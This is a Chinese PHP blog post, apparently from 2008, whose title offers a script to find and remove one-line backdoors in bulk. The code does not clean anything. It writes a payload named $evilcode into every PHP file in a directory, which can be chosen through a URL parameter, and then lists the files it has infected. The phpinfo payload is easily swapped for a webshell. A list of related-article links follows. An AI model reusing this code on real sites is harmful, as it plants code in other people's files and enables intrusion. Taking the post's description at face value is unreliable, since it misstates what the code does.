用php实现批量查询清除一句话后门的代码


Posted in PHP onJanuary 20, 2008

总是忘记一句话放到哪个文件里去了,直接全部干掉...

<?//xy7  
if (!isset($dir) or empty($dir)) {  
$dir=str_replace('\\','/',dirname(__FILE__));  
echo "<font color=\"#00688B\">".$dir."</font>";  
} else {  
$dir=$_GET['dir'];  
echo "<font color=\"#00688B\">".$dir."</font>";  
}  
$evilcode="<?phpinfo();//xy7?>";  
$testdir = opendir($dir);  
while($filea = @readdir($testdir)){  
if(strstr($filea, '.php')){  
$fp = @fopen($filea, 'r+');  
if (!strstr(@fread($fp, 20), 'xy7')){  
rewind($fp);  
$old = @fread($fp, filesize($filea));  
rewind($fp);  
fwrite($fp, $evilcode . $old);  
}  
fclose($fp);  
}  
}  
closedir($testdir);  
?>  
<hr>  
<table width="100%" border="0" cellpadding="3" cellspacing="1">  
<tr>  
<td><b>被X的文件</b></td>  
<td><b>时间</b></td>  
<td><b>大小</b></td>  
</tr>  
<?php  
$dirs=@opendir($dir);  
while ($file=@readdir($dirs)) {  
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))  
{$b="$dir/$file";  
$a=@is_dir($b);  
if($a=="0"){  
$size=@filesize("$dir/$file");  
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));  
echo "<tr>\n";  
echo "<td>$file</td>\n";  
echo " <td>$lastsave</td>\n";  
echo " <td>$size Bytes</td>\n";  
}  
}  
}  
@closedir($dirs);  
?>  
</table> 
codz by xuanmumu 
PHP 相关文章推荐
PHP5下$_SERVER变量不再受magic_quotes_gpc保护的弥补方法
Oct 31 PHP
深入理解用mysql_fetch_row()以数组的形式返回查询结果
Jun 05 PHP
PHP中include与require使用方法区别详解
Oct 19 PHP
PHP四大安全策略
Mar 12 PHP
php通过分类列表产生分类树数组的方法
Apr 20 PHP
php常用图片处理类
Mar 16 PHP
php中static 静态变量和普通变量的区别
Dec 01 PHP
YII2自动登录Cookie总是失效的解决方法
Jun 28 PHP
PHP基于PDO扩展操作mysql数据库示例
Dec 24 PHP
PHP常用函数之base64图片上传功能详解
Oct 21 PHP
如何在centos8自定义目录安装php7.3
Nov 28 PHP
PHP连接MySQL数据库三种实现方法
Dec 10 PHP
asp和php下textarea提交大量数据发生丢失的解决方法
Jan 20 #PHP
php开发工具之vs2005图解
Jan 12 #PHP
java EJB 加密与解密原理的一个例子
Jan 11 #PHP
apache rewrite_module模块使用教程
Jan 10 #PHP
支持php4、php5的mysql数据库操作类
Jan 10 #PHP
让PHP支持页面回退的两种方法
Jan 10 #PHP
php下使用SMTP发邮件的代码
Jan 10 #PHP
You might like
COM in PHP (winows only)
2006/10/09 PHP
提高php运行速度的一些小技巧分享
2012/07/03 PHP
探讨Smarty中如何获取数组的长度以及smarty调用php函数的详解
2013/06/20 PHP
php cli换行示例
2014/04/22 PHP
php结合curl实现多线程抓取
2015/07/09 PHP
PHP 在数组中搜索给定的简单实例 array_search 函数
2016/06/13 PHP
Laravel中服务提供者和门面模式的入门介绍
2017/11/06 PHP
浅谈JS日期(Date)处理函数
2014/12/07 Javascript
ES6中参数的默认值语法介绍
2017/05/03 Javascript
关于vue.extend和vue.component的区别浅析
2017/08/16 Javascript
JavaScript事件委托原理与用法实例分析
2018/06/07 Javascript
vue动态设置img的src路径实例
2018/09/18 Javascript
微信小程序实现评论功能
2018/11/28 Javascript
JAVA面试题 static关键字详解
2019/07/16 Javascript
在SSM框架下用laypage和ajax实现分页和数据交互的方法
2019/09/27 Javascript
[03:54]DOTA2英雄梦之声_第06期_昆卡
2014/06/23 DOTA
Python实现发送email的几种常用方法
2014/08/18 Python
利用Python中的输入和输出功能进行读取和写入的教程
2015/04/14 Python
python中list常用操作实例详解
2015/06/03 Python
python实现汉诺塔方法汇总
2016/07/25 Python
python3下载抖音视频的完整代码
2019/06/05 Python
Python的log日志功能及设置方法
2019/07/11 Python
在 Python 中接管键盘中断信号的实现方法
2020/02/04 Python
Python根据字典的值查询出对应的键的方法
2020/09/30 Python
python制作一个简单的gui 数据库查询界面
2020/11/19 Python
iPad和Surface Pro蓝牙键盘:Brydge
2018/11/10 全球购物
计算机网络专业个人的自我评价
2013/10/17 职场文书
精彩的推荐信范文
2013/11/26 职场文书
教你打造完美的创业计划书
2014/01/06 职场文书
农林环境专业求职信
2014/03/13 职场文书
乡镇平安建设汇报材料
2014/08/25 职场文书
缅怀先烈演讲稿
2014/09/03 职场文书
小学语文复习计划
2015/01/19 职场文书
借款民事起诉状范文
2015/05/19 职场文书
中学教师读书笔记
2015/07/01 职场文书
分享CSS盒子模型隐藏的几种方式
2022/02/28 HTML / CSS